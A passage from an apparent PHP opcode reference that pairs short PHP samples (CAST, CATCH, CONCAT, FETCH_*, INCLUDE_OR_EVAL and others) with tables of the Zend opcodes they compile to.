8 | 1 | CASE |  |  | ~1 | !0,0
 | 2 | JMPZ |  |  |  | ~1,->6
9 | 3 | ECHO |  |  |  | 'i%3D0'
10 | 4 | BRK |  |  |  | 1
11 | 5 | JMP |  |  |  | ->8
 | 6 | CASE |  |  | ~1 | !0,1
 | 7 | JMPZ |  |  |  | ~1,->11
12 | 8 | ECHO |  |  |  | 'i%3D1'
13 | 9 | BRK |  |  |  | 1
14 | 10 | JMP |  |  |  | ->13
 | 11 | CASE |  |  | ~1 | !0,2
 | 12 | JMPZ |  |  |  | ~1,->16
15 | 13 | ECHO |  |  |  | 'i%3D2'
16 | 14 | BRK |  |  |  | 1
17 | 15 | JMP |  |  |  | ->16
18 | 16 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


CAST

PHP code

<?php
/*
 * casts value1 as type value2 (type in extended_value)
 * opcode number: 21
 */
echo (int)1;
?>

PHP opcodes

Function name: (null)

Compiled variables: none

line | # | op | fetch | ext | return | operands
6 | 0 | CAST |  | 4 | ~0 | 1
 | 1 | ECHO |  |  |  | ~0
7 | 2 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


CATCH

PHP code

<?php
/*
 *
 * opcode number: 107
 */
try {
    $error = 'Always throw this error';
    throw new Exception($error);

    // Code following an exception is not executed.
    echo 'Never executed';

} catch (Exception $e) {
    echo 'Caught exception: ',  $e->getMessage(), "\n";
}

// Continue execution
echo 'Hello World';
?>

PHP opcodes

Function name: (null)

Compiled variables: !0=$error, !1=$e

line | # | op | fetch | ext | return | operands
7 | 0 | ASSIGN |  |  |  | !0,'Always+throw+this+error'
8 | 1 | ZEND_FETCH_CLASS |  |  | :1 | 'Exception'
 | 2 | NEW |  |  | $2 | :1
 | 3 | SEND_VAR |  |  |  | !0
 | 4 | DO_FCALL_BY_NAME |  | 1 |  |
 | 5 | ZEND_THROW |  | 0 |  | $2
11 | 6 | ECHO |  |  |  | 'Never+executed'
13 | 7 | JMP |  |  |  | ->15
 | 8 | ZEND_FETCH_CLASS |  |  | :4 | 'Exception'
 | 9 | ZEND_CATCH |  | 15 |  | $4,!1
14 | 10 | ECHO |  |  |  | 'Caught+exception%3A+'
 | 11 | ZEND_INIT_METHOD_CALL |  |  |  | !1,'getMessage'
 | 12 | DO_FCALL_BY_NAME |  | 0 |  |
 | 13 | ECHO |  |  |  | $6
 | 14 | ECHO |  |  |  | '%0A'
18 | 15 | ECHO |  |  |  | 'Hello+World'
19 | 16 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


CLONE

PHP code

<?php
/*
 *
 * opcode number: 110
 */
$obj = new A();
$copy = clone $obj;
?>

PHP opcodes

Function name: (null)

Compiled variables: !0=$obj, !1=$copy

line | # | op | fetch | ext | return | operands
6 | 0 | ZEND_FETCH_CLASS |  |  | :0 | 'A'
 | 1 | NEW |  |  | $1 | :0
 | 2 | DO_FCALL_BY_NAME |  | 0 |  |
 | 3 | ASSIGN |  |  |  | !0,$1
7 | 4 | ZEND_CLONE |  |  | $4 | !0
 | 5 | ASSIGN |  |  |  | !1,$4
8 | 6 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


CONCAT

PHP code

<?php
/*
 * Concats string values string1 and string2
 * opcode number: 8
 */
echo "hello" . "world";
?>

PHP opcodes

Function name: (null)

Compiled variables: none

line | # | op | fetch | ext | return | operands
6 | 0 | CONCAT |  |  | ~0 | 'hello','world'
 | 1 | ECHO |  |  |  | ~0
7 | 2 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


CONT

PHP code

<?php
/*
 * Continue next iteration of current loop level
 * opcode number: 51
 */
$foo = false;
while(!$foo) {
    $foo = true;
    continue;
}
?>

PHP opcodes

Function name: (null)

compiled vars: !0 = $foo

line | # | op | fetch | ext | return | operands
6 | 0 | ASSIGN |  |  |  | !0, false
7 | 1 | BOOL_NOT |  |  | ~1 | !0
 | 2 | JMPZ |  |  |  | ~1, ->5
8 | 3 | ASSIGN |  |  |  | !0, true
9 | 4 | CONT |  |  |  | 1
10 | 5 | JMP |  |  |  | ->1
12 | 6 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


DECLARE_CLASS

PHP code

<?php
/*
 * Declare a class with the name of class-name as the implementation specified by ID.
 * opcode number: 139
 */
class A {
    function methodA(){
        echo "hello world";
    }
}
?>

PHP opcodes

Function name: (null)

Compiled variables: none

line | # | op | fetch | ext | return | operands
6 | 0 | NOP |  |  |  |
11 | 1 | RETURN |  |  |  | 1

Function name: methodA

Compiled variables: none

line | # | op | fetch | ext | return | operands
8 | 0 | ECHO |  |  |  | 'hello+world'
9 | 1 | RETURN |  |  |  | null

User Contributed Notes

There are no user contributed notes for this page.


DECLARE_CONST

PHP code

<?php
/*
 *
 * opcode number: 143
 * No sample PHP yet */
?>

User Contributed Notes

There are no user contributed notes for this page.


DECLARE_FUNCTION

PHP code

<?php
/*
 *
 * opcode number: 141
 */
class A{
 function funcA(){
 }
}
?>

PHP opcodes

Function name: (null)

Compiled variables: none

line | # | op | fetch | ext | return | operands
6 | 0 | NOP |  |  |  |
10 | 1 | RETURN |  |  |  | 1

Function name: funcA

Compiled variables: none

line | # | op | fetch | ext | return | operands
8 | 0 | RETURN |  |  |  | null

User Contributed Notes

There are no user contributed notes for this page.


DECLARE_INHERITED_CLASS

PHP code

<?php
/*
 *
 * opcode number: 140
 */
 if($b){
 class Foo {
  public static $my_static = 'foo';
  public function staticValue() {
    return self::$my_static;
  }
 }

 class Bar extends Foo {
  public function fooStatic() {
     echo parent::$my_static;
  }
 }
}
?>

PHP opcodes

Function name: (null)

Compiled variables: !0=$b

line | # | op | fetch | ext | return | operands
6 | 0 | JMPZ |  |  |  | !0,->5
7 | 1 | ZEND_DECLARE_CLASS |  |  | $0 | '%00foo%2Fmnt%2Fworkspace%2Fws_phpscripts%2FPHPopcodes%2Fphpsamples%2FDECLARE_INHERITED_CLASS.php0xb7be503b','foo'
14 | 2 | ZEND_FETCH_CLASS |  |  | :1 | 'Foo'
 | 3 | ZEND_DECLARE_INHERITED_CLASS |  |  | $2 | '%00bar%2Fmnt%2Fworkspace%2Fws_phpscripts%2FPHPopcodes%2Fphpsamples%2FDECLARE_INHERITED_CLASS.php0xb7be50bc','bar'
19 | 4 | JMP |  |  |  | ->5
20 | 5 | RETURN |  |  |  | 1

Function name: staticValue

Compiled variables: !0=$my_static

line | # | op | fetch | ext | return | operands
10 | 0 | ZEND_FETCH_CLASS |  |  |  |
 | 1 | FETCH_R | staticmember |  | $1 | 'my_static'
 | 2 | RETURN |  |  |  | $1
11 | 3 | RETURN |  |  |  | null

Function name: fooStatic

Compiled variables: !0=$my_static

line | # | op | fetch | ext | return | operands
16 | 0 | ZEND_FETCH_CLASS |  |  | :0 |
 | 1 | FETCH_R | staticmember |  | $1 | 'my_static'
 | 2 | ECHO |  |  |  | $1
17 | 3 | RETURN |  |  |  | null

User Contributed Notes

There are no user contributed notes for this page.


DECLARE_INHERITED_CLASS_DELAYED

PHP code

<?php
/*
 *
 * opcode number: 145
 * No sample PHP yet */
?>

User Contributed Notes

There are no user contributed notes for this page.


DIV

PHP code

<?php
/*
 * Divides "value1" by "value2" and stores the result into "result".
 * opcode number: 4
 */
echo 6/3;
?>

PHP opcodes

Function name: (null)

Compiled variables: none

line | # | op | fetch | ext | return | operands
6 | 0 | DIV |  |  | ~0 | 6,3
 | 1 | ECHO |  |  |  | ~0
7 | 2 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


DO_FCALL

PHP code

<?php
/*
 * Call a function.  Following multiple SEND_VAL, SEND_VAR or SEND_REF.
 * opcode number: 60
 */
$a = phpinfo();
?>

PHP opcodes

Function name: (null)

Compiled variables: !0=$a

line | # | op | fetch | ext | return | operands
6 | 0 | DO_FCALL |  | 0 |  | 'phpinfo'
 | 1 | ASSIGN |  |  |  | !0,$0
7 | 2 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


DO_FCALL_BY_NAME

PHP code

<?php
/*
 * Call a function by name.  Following INIT_FCALL_BY_NAME and multiple SEND_VAL, SEND_VAR or SEND_REF.
 * opcode number: 61
 */
$x = 'phpinfo';
$a = $x();
?>

PHP opcodes

Function name: (null)

Compiled variables: !0=$x, !1=$a

line | # | op | fetch | ext | return | operands
6 | 0 | ASSIGN |  |  |  | !0,'phpinfo'
7 | 1 | INIT_FCALL_BY_NAME |  |  |  | !0
 | 2 | DO_FCALL_BY_NAME |  | 0 |  |
 | 3 | ASSIGN |  |  |  | !1,$1
8 | 4 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


ECHO

PHP code

<?php
/*
 * Dump text
 * opcode number: 40
 */
echo "hello world";
?>

PHP opcodes

Function name: (null)

Compiled variables: none

line | # | op | fetch | ext | return | operands
6 | 0 | ECHO |  |  |  | 'hello+world'
7 | 1 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


END_SILENCE

PHP code

<?php
/*
 * no longer surpress error messages
 * opcode number: 58
 */
$my_file = @file ('non_existent_file') or
   die ("error:'$php_errormsg'");
?>

PHP opcodes

Function name: (null)

Compiled variables: !0=$my_file, !1=$php_errormsg

line | # | op | fetch | ext | return | operands
6 | 0 | BEGIN_SILENCE |  |  | ~0 |
 | 1 | SEND_VAL |  |  |  | 'non_existent_file'
 | 2 | DO_FCALL |  | 1 |  | 'file'
 | 3 | END_SILENCE |  |  |  | ~0
 | 4 | ASSIGN |  |  | $2 | !0,$1
 | 5 | JMPNZ_EX |  |  | ~3 | $2,->11
7 | 6 | ADD_STRING |  |  | ~4 | 'error%3A%27'
 | 7 | ADD_VAR |  |  | ~4 | ~4,!1
 | 8 | ADD_CHAR |  |  | ~4 | ~4,39
 | 9 | EXIT |  |  |  | ~4
 | 10 | BOOL |  |  | ~3 | true
 | 11 | FREE |  |  |  | ~3
8 | 12 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


EXIT

PHP code

<?php
/*
 * Exit running after dumping "message".
 * opcode number: 79
 */
die("foobar");
?>

PHP opcodes

Function name: (null)

Compiled variables: none

line | # | op | fetch | ext | return | operands
6 | 0 | EXIT |  |  |  | 'foobar'
7 | 1 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


EXT_FCALL_BEGIN

PHP code

<?php
/*
 *
 * opcode number: 102
 * No sample PHP yet */
?>

User Contributed Notes

There are no user contributed notes for this page.


EXT_FCALL_END

PHP code

<?php
/*
 *
 * opcode number: 103
 * No sample PHP yet */
?>

User Contributed Notes

There are no user contributed notes for this page.


EXT_NOP

PHP code

<?php
/*
 *
 * opcode number: 104
 * No sample PHP yet */
?>

User Contributed Notes

There are no user contributed notes for this page.


EXT_STMT

PHP code

<?php
/*
 *
 * opcode number: 101
 */
?>

PHP opcodes

Function name: (null)

Compiled variables: none

line | # | op | fetch | ext | return | operands
7 | 0 | EXT_STMT |  |  |  |
8 | 1 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


FE_FETCH

PHP code

<?php
/*
 * Fetch an element from iterator.  If no element is available, jump to address.  Followed by OP_DATA?
 * opcode number: 78
 */
$a = array(1,2,3);
foreach($a as $num){
    print $num;
}
?>

PHP opcodes

Function name: (null)

Compiled variables: !0=$a, !1=$num

line | # | op | fetch | ext | return | operands
6 | 0 | INIT_ARRAY |  |  | ~0 | 1
 | 1 | ADD_ARRAY_ELEMENT |  |  | ~0 | 2
 | 2 | ADD_ARRAY_ELEMENT |  |  | ~0 | 3
 | 3 | ASSIGN |  |  |  | !0,~0
7 | 4 | FE_RESET |  |  | $2 | !0,->11
 | 5 | FE_FETCH |  |  | $3 | $2,->11
 | 6 | ZEND_OP_DATA |  |  |  |
 | 7 | ASSIGN |  |  |  | !1,$3
8 | 8 | PRINT |  |  | ~5 | !1
 | 9 | FREE |  |  |  | ~5
9 | 10 | JMP |  |  |  | ->5
 | 11 | SWITCH_FREE |  |  |  | $2
10 | 12 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


FE_RESET

PHP code

<?php
/*
 * Initialize an iterator on array-value.  If the array is empty, jump to address.  Followed by FE_FETCH.
 * opcode number: 77
 */
$a = array(1,2,3);
foreach($a as $num){
    print $num;
}
?>

PHP opcodes

Function name: (null)

Compiled variables: !0=$a, !1=$num

line | # | op | fetch | ext | return | operands
6 | 0 | INIT_ARRAY |  |  | ~0 | 1
 | 1 | ADD_ARRAY_ELEMENT |  |  | ~0 | 2
 | 2 | ADD_ARRAY_ELEMENT |  |  | ~0 | 3
 | 3 | ASSIGN |  |  |  | !0,~0
7 | 4 | FE_RESET |  |  | $2 | !0,->11
 | 5 | FE_FETCH |  |  | $3 | $2,->11
 | 6 | ZEND_OP_DATA |  |  |  |
 | 7 | ASSIGN |  |  |  | !1,$3
8 | 8 | PRINT |  |  | ~5 | !1
 | 9 | FREE |  |  |  | ~5
9 | 10 | JMP |  |  |  | ->5
 | 11 | SWITCH_FREE |  |  |  | $2
10 | 12 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


FETCH_CLASS

PHP code

<?php
/*
 *
 * opcode number: 109
 */
$obj = new A();
?>

PHP opcodes

Function name: (null)

Compiled variables: !0=$obj

line | # | op | fetch | ext | return | operands
6 | 0 | ZEND_FETCH_CLASS |  |  | :0 | 'A'
 | 1 | NEW |  |  | $1 | :0
 | 2 | DO_FCALL_BY_NAME |  | 0 |  |
 | 3 | ASSIGN |  |  |  | !0,$1
7 | 4 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


FETCH_CONSTANT

PHP code

<?php
/*
 * Fetch the constant value bound to the specified name (name) and stores it into a variable (result).
 * opcode number: 99
 */
define("FOO", "something");
echo FOO;
?>

PHP opcodes

Function name: (null)

Compiled variables: none

line | # | op | fetch | ext | return | operands
6 | 0 | SEND_VAL |  |  |  | 'FOO'
 | 1 | SEND_VAL |  |  |  | 'something'
 | 2 | DO_FCALL |  | 2 |  | 'define'
7 | 3 | FETCH_CONSTANT |  |  | ~1 | 'FOO'
 | 4 | ECHO |  |  |  | ~1
8 | 5 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


FETCH_DIM_FUNC_ARG

PHP code

<?php
/*
 *
 * opcode number: 93
 */

function foo(&$x)
{
  print($x);
}

$x = array(0, 1, 2, 3, 4, 5);
$z = "foo";

$z($x[0]);

?>

PHP opcodes

Function name: (null)

Compiled variables: !0=$x, !1=$z

line | # | op | fetch | ext | return | operands
7 | 0 | NOP |  |  |  |
12 | 1 | INIT_ARRAY |  |  | ~0 | 0
 | 2 | ADD_ARRAY_ELEMENT |  |  | ~0 | 1
 | 3 | ADD_ARRAY_ELEMENT |  |  | ~0 | 2
 | 4 | ADD_ARRAY_ELEMENT |  |  | ~0 | 3
 | 5 | ADD_ARRAY_ELEMENT |  |  | ~0 | 4
 | 6 | ADD_ARRAY_ELEMENT |  |  | ~0 | 5
 | 7 | ASSIGN |  |  |  | !0,~0
13 | 8 | ASSIGN |  |  |  | !1,'foo'
15 | 9 | INIT_FCALL_BY_NAME |  |  |  | !1
 | 10 | FETCH_DIM_FUNC_ARG |  |  | $3 | !0,0
 | 11 | SEND_VAR |  |  |  | $3
 | 12 | DO_FCALL_BY_NAME |  | 1 |  |
17 | 13 | RETURN |  |  |  | 1

Function name: foo

Compiled variables: !0=$x

line | # | op | fetch | ext | return | operands
7 | 0 | RECV |  |  |  | 1
9 | 1 | PRINT |  |  | ~0 | !0
 | 2 | FREE |  |  |  | ~0
10 | 3 | RETURN |  |  |  | null

User Contributed Notes

There are no user contributed notes for this page.


FETCH_DIM_IS

PHP code

<?php
/*
 *
 * opcode number: 90
 * No sample PHP yet */
?>

User Contributed Notes

There are no user contributed notes for this page.


FETCH_DIM_R

PHP code

<?php
/*
 * Fetch the value of the element at "index" in "array-value" to store it in "result".  Read-only?
 * opcode number: 81
 */
$x = array(1,2,3);
$a = 'x';
echo $$a[0];
?>

PHP opcodes

Function name: (null)

Compiled variables: !0=$x, !1=$a

line | # | op | fetch | ext | return | operands
6 | 0 | INIT_ARRAY |  |  | ~0 | 1
 | 1 | ADD_ARRAY_ELEMENT |  |  | ~0 | 2
 | 2 | ADD_ARRAY_ELEMENT |  |  | ~0 | 3
 | 3 | ASSIGN |  |  |  | !0,~0
7 | 4 | ASSIGN |  |  |  | !1,'x'
8 | 5 | FETCH_DIM_R |  |  | $3 | !1,0
 | 6 | FETCH_R | local |  | $4 | $3
 | 7 | ECHO |  |  |  | $4
9 | 8 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


FETCH_DIM_RW

PHP code

<?php
/*
 * Fetch the value of the element at "index" in "array-value" to store it in "result".
 * opcode number: 87
 */
$x = array(1,2,3);
$a = 'x';
$$a[0]++;
?>

PHP opcodes

Function name: (null)

Compiled variables: !0=$x, !1=$a

line | # | op | fetch | ext | return | operands
6 | 0 | INIT_ARRAY |  |  | ~0 | 1
 | 1 | ADD_ARRAY_ELEMENT |  |  | ~0 | 2
 | 2 | ADD_ARRAY_ELEMENT |  |  | ~0 | 3
 | 3 | ASSIGN |  |  |  | !0,~0
7 | 4 | ASSIGN |  |  |  | !1,'x'
8 | 5 | FETCH_DIM_R |  |  | $3 | !1,0
 | 6 | FETCH_RW | local |  | $4 | $3
 | 7 | POST_INC |  |  | ~5 | $4
 | 8 | FREE |  |  |  | ~5
9 | 9 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


FETCH_DIM_TMP_VAR

PHP code

<?php
/*
 * Fetch an entry of an array from a temporal variable?
 * opcode number: 98
 */
list($x) = array("X");
?>

PHP opcodes

Function name: (null)

Compiled variables: !0=$x

line | # | op | fetch | ext | return | operands
6 | 0 | INIT_ARRAY |  |  | ~0 | 'X'
 | 1 | FETCH_DIM_TMP_VAR |  |  | $1 | ~0,0
 | 2 | ASSIGN |  |  |  | !0,$1
 | 3 | FREE |  |  |  | ~0
7 | 4 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


FETCH_DIM_UNSET

PHP code

<?php
/*
 * Fetch an entry of an array variable for the purpose of unset() operation.
 * opcode number: 96
 * No sample PHP yet */
?>

User Contributed Notes

There are no user contributed notes for this page.


FETCH_DIM_W

PHP code

<?php
/*
 * Fetch the value of the element at "index" in "array-value" to store it in "result".  Write-only?
 * opcode number: 84
 */
$a = 1;
while($a > 0){
    $a = 0;
}
/*$input =array(1,2,3);
while (list($var,) = @each($input)){
    unset($$var);
}*/
/*$a = array(1,2,3);
$x = 'a';
$$x[0] = 1;*/

/*while ($b = each($a)) {
  print $b;
}*/

?>

PHP opcodes

Function name: (null)

Compiled variables: !0=$a

line | # | op | fetch | ext | return | operands
6 | 0 | ASSIGN |  |  |  | !0,1
7 | 1 | IS_SMALLER |  |  | ~1 | 0,!0
 | 2 | JMPZ |  |  |  | ~1,->5
8 | 3 | ASSIGN |  |  |  | !0,0
9 | 4 | JMP |  |  |  | ->1
23 | 5 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


FETCH_FUNC_ARG

PHP code

<?php
/*
 *
 * opcode number: 92
 */
function foo($x)
{
}

$x = 1;
$y = "x";
$z = "foo";

$z($$y);

?>

PHP opcodes

Function name: (null)

Compiled variables: !0=$x, !1=$y, !2=$z

line | # | op | fetch | ext | return | operands
6 | 0 | NOP |  |  |  |
10 | 1 | ASSIGN |  |  |  | !0,1
11 | 2 | ASSIGN |  |  |  | !1,'x'
12 | 3 | ASSIGN |  |  |  | !2,'foo'
14 | 4 | INIT_FCALL_BY_NAME |  |  |  | !2
 | 5 | FETCH_FUNC_ARG | local |  | $3 | !1
 | 6 | SEND_VAR |  |  |  | $3
 | 7 | DO_FCALL_BY_NAME |  | 1 |  |
16 | 8 | RETURN |  |  |  | 1

Function name: foo

Compiled variables: !0=$x

line | # | op | fetch | ext | return | operands
6 | 0 | RECV |  |  |  | 1
8 | 1 | RETURN |  |  |  | null

User Contributed Notes

There are no user contributed notes for this page.


FETCH_IS

PHP code

<?php
/*
 * Fetch the value from variable which is to be used to test if it is set or not, through isset()/isempty().
 * opcode number: 89
 */
echo isset($_SESSION['userid']);
echo isset($_SESSION['userid'][1]);
echo isset($_SESSION->prop->prop);
?>

PHP opcodes

Function name: (null)

Compiled variables: none

line | # | op | fetch | ext | return | operands
6 | 0 | FETCH_IS |  |  | $0 | '_SESSION'
 | 1 | ZEND_ISSET_ISEMPTY_DIM_OBJ |  | 1 | ~1 | $0,'userid'
 | 2 | ECHO |  |  |  | ~1
7 | 3 | FETCH_IS |  |  | $2 | '_SESSION'
 | 4 | FETCH_DIM_IS |  |  | $3 | $2,'userid'
 | 5 | ZEND_ISSET_ISEMPTY_DIM_OBJ |  | 1 | ~4 | $3,1
 | 6 | ECHO |  |  |  | ~4
8 | 7 | FETCH_IS |  |  | $5 | '_SESSION'
 | 8 | FETCH_OBJ_IS |  |  | $6 | $5,'prop'
 | 9 | ZEND_ISSET_ISEMPTY_PROP_OBJ |  |  | ~7 | $6,'prop'
 | 10 | ECHO |  |  |  | ~7
9 | 11 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


FETCH_OBJ_FUNC_ARG

PHP code

<?php
/*
 *
 * opcode number: 94
 */
include './classA.php';

function foo(&$x)
{
  print($x);
}

$z = "foo";

$obj = new A();
print $obj->num;
$z($obj->num);

?>

PHP opcodes

Function name: (null)

Compiled variables: !0=$z, !1=$obj

line | # | op | fetch | ext | return | operands
6 | 0 | INCLUDE_OR_EVAL |  |  |  | '.%2FclassA.php',INCLUDE
8 | 1 | NOP |  |  |  |
13 | 2 | ASSIGN |  |  |  | !0,'foo'
15 | 3 | ZEND_FETCH_CLASS |  |  | :2 | 'A'
 | 4 | NEW |  |  | $3 | :2
 | 5 | DO_FCALL_BY_NAME |  | 0 |  |
 | 6 | ASSIGN |  |  |  | !1,$3
16 | 7 | FETCH_OBJ_R |  |  | $6 | !1,'num'
 | 8 | PRINT |  |  | ~7 | $6
 | 9 | FREE |  |  |  | ~7
17 | 10 | INIT_FCALL_BY_NAME |  |  |  | !0
 | 11 | FETCH_OBJ_FUNC_ARG |  |  | $8 | !1,'num'
 | 12 | SEND_VAR |  |  |  | $8
 | 13 | DO_FCALL_BY_NAME |  | 1 |  |
19 | 14 | RETURN |  |  |  | 1

Function name: foo

Compiled variables: !0=$x

line | # | op | fetch | ext | return | operands
8 | 0 | RECV |  |  |  | 1
10 | 1 | PRINT |  |  | ~0 | !0
 | 2 | FREE |  |  |  | ~0
11 | 3 | RETURN |  |  |  | null

Function name: foo

Compiled variables: !0=$x

line | # | op | fetch | ext | return | operands
8 | 0 | RECV |  |  |  | 1
10 | 1 | PRINT |  |  | ~0 | !0
 | 2 | FREE |  |  |  | ~0
11 | 3 | RETURN |  |  |  | null

User Contributed Notes

There are no user contributed notes for this page.


FETCH_OBJ_IS

PHP code

<?php
/*
 *
 * opcode number: 91
 * No sample PHP yet */
?>

User Contributed Notes

There are no user contributed notes for this page.


FETCH_OBJ_R

PHP code

<?php
/*
 * Fetch the "prop-name" property value of this object.  Read-only?
 * opcode number: 82
 */
$x = new A();
$a = 'x';
echo $$a->num;
?>

PHP opcodes

Function name: (null)

Compiled variables: !0=$x, !1=$a

line | # | op | fetch | ext | return | operands
6 | 0 | ZEND_FETCH_CLASS |  |  | :0 | 'A'
 | 1 | NEW |  |  | $1 | :0
 | 2 | DO_FCALL_BY_NAME |  | 0 |  |
 | 3 | ASSIGN |  |  |  | !0,$1
7 | 4 | ASSIGN |  |  |  | !1,'x'
8 | 5 | FETCH_R | local |  | $5 | !1
 | 6 | FETCH_OBJ_R |  |  | $6 | $5,'num'
 | 7 | ECHO |  |  |  | $6
9 | 8 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


FETCH_OBJ_RW

PHP code

<?php
/*
 * Fetch the "prop-name" property value of this object.
 * opcode number: 88
 */
$x = new A();
$a = 'x';
$$a->num++;
?>

PHP opcodes

Function name: (null)

Compiled variables: !0=$x, !1=$a

line | # | op | fetch | ext | return | operands
6 | 0 | ZEND_FETCH_CLASS |  |  | :0 | 'A'
 | 1 | NEW |  |  | $1 | :0
 | 2 | DO_FCALL_BY_NAME |  | 0 |  |
 | 3 | ASSIGN |  |  |  | !0,$1
7 | 4 | ASSIGN |  |  |  | !1,'x'
8 | 5 | FETCH_RW | local |  | $5 | !1
 | 6 | ZEND_POST_INC_OBJ |  |  | ~7 | $5,'num'
 | 7 | FREE |  |  |  | ~7
9 | 8 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


FETCH_OBJ_UNSET

PHP code

<?php
/*
 * Fetch a property of an object variable for the purpose of unset() operation.
 * opcode number: 97
 * No sample PHP yet */
?>

User Contributed Notes

There are no user contributed notes for this page.


FETCH_OBJ_W

PHP code

<?php
/*
 * Fetch an object from the property of this object and write to the property of the fectched object.
 * opcode number: 85
 */
$foo = new stdclass;
$foo->bar = new stdclass;
$foo->bar->baz = 'quix';
?>

PHP opcodes

Function name: (null)

Compiled variables: !0 = $foo

line | # | op | fetch | ext | return | operands
6 | 0 | ZEND_FETCH_CLASS |  | 4 | :0 | 'stdclass'
 | 1 | NEW |  |  |  | :0
 | 2 | DO_FCALL_BY_NAME |  | 0 |  |
 | 3 | ASSIGN |  |  |  | !0
7 | 4 | ZEND_FETCH_CLASS |  | 4 | :5 | 'stdclass'
 | 5 | NEW |  |  |  | :5
 | 6 | DO_FCALL_BY_NAME |  | 0 |  |
 | 7 | ZEND_ASSIGN_OBJ |  |  |  | !0, 'bar'
 | 8 | ZEND_OP_DATA |  |  |  |
8 | 9 | FETCH_OBJ_W |  |  |  | !0, 'bar'
 | 10 | ZEND_ASSIGN_OBJ |  |  |  | 'baz'
 | 11 | ZEND_OP_DATA |  |  |  | 'quix'
9 | 12 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


FETCH_R

PHP code

<?php
/*
 * Fetch the value of the varible of "name" to assign it to a variable?  Read-only?
 * opcode number: 80
 */
$x = 1;
$a = 'x';
echo $$a;
?>

PHP opcodes

Function name: (null)

Compiled variables: !0=$x, !1=$a

line | # | op | fetch | ext | return | operands
6 | 0 | ASSIGN |  |  |  | !0,1
7 | 1 | ASSIGN |  |  |  | !1,'x'
8 | 2 | FETCH_R | local |  | $2 | !1
 | 3 | ECHO |  |  |  | $2
9 | 4 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


FETCH_RW

PHP code

<?php
/*
 * Fetch the value of the varible of "name" to assign it to a variable?
 * opcode number: 86
 */
$x = 1;
$a = 'x';
$$a++;
?>

PHP opcodes

Function name: (null)

Compiled variables: !0=$x, !1=$a

line | # | op | fetch | ext | return | operands
6 | 0 | ASSIGN |  |  |  | !0,1
7 | 1 | ASSIGN |  |  |  | !1,'x'
8 | 2 | FETCH_RW | local |  | $2 | !1
 | 3 | POST_INC |  |  | ~3 | $2
 | 4 | FREE |  |  |  | ~3
9 | 5 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


FETCH_UNSET

PHP code

<?php
/*
 * Fetch a variable for the purpose of unset() operation.
 * opcode number: 95
 * No sample PHP yet */
?>

User Contributed Notes

There are no user contributed notes for this page.


FETCH_W

PHP code

<?php
/*
 * Fetch the value of the varible of "name" to assign it to a variable?  Write-only?
 * opcode number: 83
 */
$x = 1;
$a = 'x';
$$a = 2;
?>

PHP opcodes

Function name: (null)

Compiled variables: !0=$x, !1=$a

line | # | op | fetch | ext | return | operands
6 | 0 | ASSIGN |  |  |  | !0,1
7 | 1 | ASSIGN |  |  |  | !1,'x'
8 | 2 | FETCH_W | local |  | $2 | !1
 | 3 | ASSIGN |  |  |  | $2,2
9 | 4 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


FREE

PHP code

<?php
/*
 * Release the allocated space of the value.
 * opcode number: 70
 */
 print "Hello World";
?>

PHP opcodes

Function name: (null)

Compiled variables: none

line | # | op | fetch | ext | return | operands
6 | 0 | PRINT |  |  | ~0 | 'Hello+World'
 | 1 | FREE |  |  |  | ~0
7 | 2 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


GOTO

PHP code

<?php
/*
 *
 * opcode number: 100
 * No sample PHP yet */
?>

User Contributed Notes

There are no user contributed notes for this page.


HANDLE_EXCEPTION

PHP code

<?php
/*
 *
 * opcode number: 149
 */
?>

PHP opcodes

Function name: (null)

Compiled variables: none

line | # | op | fetch | ext | return | operands
6 | 0 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


INCLUDE_OR_EVAL

PHP code

<?php
/*
 * Include the file specified by filename and eval it.
 * opcode number: 73
 */
include("test.php");
eval("test.php");
?>

PHP opcodes

Function name: (null)

Compiled variables: none

line | # | op | fetch | ext | return | operands
6 | 0 | INCLUDE_OR_EVAL |  |  |  | 'test.php',INCLUDE
7 | 1 | INCLUDE_OR_EVAL |  |  |  | 'test.php',EVAL
8 | 2 | RETURN |  |  |  | 1

Function name: (null)

Compiled variables: none

line | # | op | fetch | ext | return | operands
2 | 0 | DO_FCALL |  | 0 |  | 'phpinfo'
3 | 1 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


INIT_ARRAY

PHP code

<?php
/*
 * Allocate a new array with elem-value as the first element of the array.  Followed by ADD_ARRAY_ELEMENT.
 * opcode number: 71
 */
$a = array(1,2,3);
print_r($a);
?>

PHP opcodes

Function name: (null)

Compiled variables: !0=$a

line | # | op | fetch | ext | return | operands
